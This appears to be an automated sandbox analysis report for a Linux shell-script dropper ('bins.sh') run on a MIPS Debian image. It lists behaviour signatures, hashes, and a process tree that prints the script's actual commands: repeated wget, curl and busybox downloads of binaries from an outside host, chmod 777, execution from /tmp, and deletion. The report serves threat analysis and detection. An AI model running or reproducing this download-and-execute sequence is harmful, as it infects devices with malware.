Analysis

  • max time kernel
    149s
  • max time network
    44s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/10/2024, 16:52

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241026-vdedmawemb
  • SHA256 4bdc76d7520fffa3118c06bd942bfd84c7d268561d08ed8bfcee82101c216b9f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 25 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
          • System Network Configuration Discovery
          PID:710
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
          • System Network Configuration Discovery
          PID:733
        • /bin/chmod
          chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • System Network Configuration Discovery
            PID:738
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • System Network Configuration Discovery
            PID:741
          • /bin/chmod
            chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:743
          • /bin/rm
            rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
            2⤵
            • System Network Configuration Discovery
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
            • System Network Configuration Discovery
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
            • System Network Configuration Discovery
            PID:748
          • /bin/chmod
            chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
              • System Network Configuration Discovery
              PID:752
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
              • System Network Configuration Discovery
              PID:762
            • /bin/chmod
              chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
              • Executes dropped EXE
              PID:769
            • /bin/rm
              rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
              2⤵
                PID:772
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                • System Network Configuration Discovery
                PID:773
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                • System Network Configuration Discovery
                PID:789
              • /bin/chmod
                chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                • Executes dropped EXE
                PID:795
              • /bin/rm
                rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                2⤵
                  PID:798
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                  • System Network Configuration Discovery
                  PID:800
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                  • System Network Configuration Discovery
                  PID:817
                • /bin/chmod
                  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                  • Executes dropped EXE
                  PID:819
                • /bin/rm
                  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                  2⤵
                    PID:820
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                    • System Network Configuration Discovery
                    PID:821
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:822
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                    • System Network Configuration Discovery
                    PID:824
                  • /bin/chmod
                    chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                    • File and Directory Permissions Modification
                    PID:825
                  • /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                    • Executes dropped EXE
                    PID:826
                  • /bin/rm
                    rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                    2⤵
                      PID:827
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                      2⤵
                      • System Network Configuration Discovery
                      PID:828
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      PID:829

                  Network

                        MITRE ATT&CK Enterprise v15

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                        Downloads

                        rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

                        • Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
                        • Size 153B
                        • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                        • MD5 SHA1 SHA512